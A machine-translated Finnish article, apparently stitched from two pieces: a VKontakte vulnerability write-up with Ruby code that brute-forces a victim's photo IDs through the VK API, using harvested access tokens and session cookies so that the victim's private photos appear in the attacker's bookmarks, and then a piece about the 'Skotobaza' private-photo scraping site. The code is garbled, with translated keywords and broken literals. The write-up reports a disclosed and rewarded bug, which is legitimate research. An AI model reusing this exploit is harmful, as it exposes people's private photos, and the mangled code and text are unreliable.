Class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = ( "tänään" => 366300000..366500000, "eilen" => 366050000..366300000, "nykyinen_kuukausi" => 3663000006,0500006 0000 00..365000000, "nykyinen_vuosi" = > 350000000..366500000, "viime_vuosi" => 320000000..350000000 ) def alustus(params) @victim_id = params[:victim_id] @period = PHOTOS_ID_BY_PERIOD:en sIteraattori = 0 (@jakso).vaihe(25) do |kuvan_tunnus| url = "https://api.vk.com/method/execute?access_token=#(tokens)&code=#(vkscript(photo_id))" encoded_url = URI.escape(url).gsub("+", "% 2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run jos tokensIterator.zero? lopettaa hydra.run, ellei hydra.queued_requests.count.zero? lopeta yksityinen def vkscript(photo_id)<<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
Raakavoiman nopeuttamiseksi vielä enemmän, vastauksessa yritettiin päästä eroon tarpeettomasta ruumiista, mutta PÄÄ VKontakte-palvelinpyyntö palauttaa virheen 501 Ei toteutettu.

Käsikirjoituksen lopullinen versio näyttää tältä:

Vaadi "nokogiri" vaatii "open-uri" vaadi "typhoeus" vaadi "json" vaadi "./standalone_apps_finder" vaadi "./photos_bruteforcer" vaadi "./authenticator" bruteforcer = PhotosBruteforcer.new(uhritunnus: ARGV, piste: ARGV) apps_finder = ItsenäinenAppsFinder.new(in_range: 4800000..4800500) apps_finder.search # p,l - evästeet osoitteesta login.vk.com # remixsid - eväste osoitteesta vk.com authenticator = Authenticator.new("p=;" + "l =;" + "remixsid=;") authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
Ohjelman suorittamisen jälkeen kirjanmerkit sisälsivät kaikki käyttäjän kuvat tietyltä ajanjaksolta. Jäljelle jäi vain siirtyä VKontakten mobiiliversioon, avata selainkonsoli, vetää esiin suorat linkit ja nauttia kuvista alkuperäisessä koossa.

Tulokset

Yleensä kaikki riippuu Internet-yhteydestäsi ja välityspalvelinten nopeudesta, Vkontakte-palvelimien latenssista, prosessorin tehosta ja monista muista tekijöistä. Kokeiltuani yllä olevaa skriptiä tililläni, sain seuraavat numerot (ottamatta huomioon rahakkeiden vastaanottamiseen käytettyä aikaa):

Taulukossa näkyy keskimääräinen aika, joka tarvitaan valokuvallisten henkilöllisyystodistusten kokeilemiseen tietyn ajanjakson aikana. Olen varma, että tätä kaikkea olisi voitu nopeuttaa 10-20 kertaa. Tee esimerkiksi brute force -skriptissä yksi suuri jono kaikista pyynnöistä ja normaalista synkronoinnista niiden välillä, koska toteutuksessani yksi aikakatkaisupyyntö hidastaa koko prosessia. Ja yleensä, voit ostaa vain muutaman esiintymän EC2:sta ja saada kaikki valokuvat kenestä tahansa tunnissa. Mutta halusin jo nukkua.

Ja yleensä, sillä ei ole väliä kuinka paljon aikaa hyökkääjä käyttää tähän, 5 tuntia tai koko päivä, koska tavalla tai toisella hän saa linkkejä yksityisiin kuviin. Kyky päästä turvallisesti käsiksi yksityisiin tietoihin rajallisessa ajassa on tämän haavoittuvuuden suurin uhka.

Haavoittuvuuden ilmoittaminen

Aluksi raportti lähetettiin tukipalveluun, mutta vastauksen "kiitos, korjaamme varmaan jotenkin..." ja viikon odotuksen jälkeen tuli jotenkin surullinen olo. Suuri kiitos Bo0oM:lle, joka auttoi ottamaan yhteyttä suoraan kehittäjiin. Sen jälkeen bugit suljettiin muutamassa tunnissa ja muutamaa päivää myöhemmin hallinto siirsi tililleni 10k palkkion

Valtava kokoelma yksityisiä valokuvia VK:ssa (noin 100 miljoonaa). Palvelu kerää kuvia kaikista sosiaalisen median käyttäjistä. verkot yhteen hakemistoon.

Tietyn käyttäjän valokuvien löytäminen on helppoa - syötä se. Mutta se on vaikea poistaa, jos kirjoitat tekijöille sähköpostitse, mahdollisuus on pieni, mutta jos teet lahjoituksia, mahdollisuus kasvaa.

Miten karjavarasto kerää kuvia VK:sta? Se on hyvin yksinkertaista: palvelu lataa automaattisesti kaikkien verkossa olevien käyttäjien kuvat kokoelmaan. Ei ole väliä minne julkaiset valokuvasi, yhteisöön tai profiiliin. Vaikka valokuva poistetaan muutaman minuutin kuluttua, se on jo karjaasemalla.

Siksi monet tyytymättömät käyttäjät kääntyivät Roskomnadzorin puoleen, joka vaikutti siihen karjaasema oli tukossa Venäjän federaation alueella. Estoa ei voi ohittaa.

Käyttäjien henkilötietojen kerääminen ja tallentaminen on kielletty. Vaikka käyttäjät itse lähettävät valokuvia yleisölle.

Toistaiseksi sivusto ei toimi jopa välityspalvelinten kanssa. Omistajat hylkäsivät yrityksen välittömästi sulkemisen jälkeen. Voit siis nukkua rauhallisesti etkä pelkää, että joku katsoo henkilökohtaisia ​​kuviasi.

Skotobazan analogit

Vuonna 2018 Oli olemassa erilaisia ​​​​analogeja, kuten "Burn", mutta ne kaikki eivät toimi, koska VKontakte-kehittäjät muokkasivat skriptejä, jotka estävät botteja varastamasta yksityisiä valokuvia.

Huomio: Internet on täynnä karjatilan "analogeja", mutta ne eivät vain toimi, vaan myös aiheuttavat tilin hakkerointi! Jos törmäät tällaisiin sivustoihin, älä missään tapauksessa älä syötä tietoja VKontaktesta. Hyökkääjät pääsevät tilille ja voivat.

Kotieläintilojen ja vastaavien palveluiden aikakausi on ohi. Nyt intiimien, yksityisten valokuvien säilyttäminen ja jakelu on kielletty. Jos et noudata lakia, seuraa rangaistus.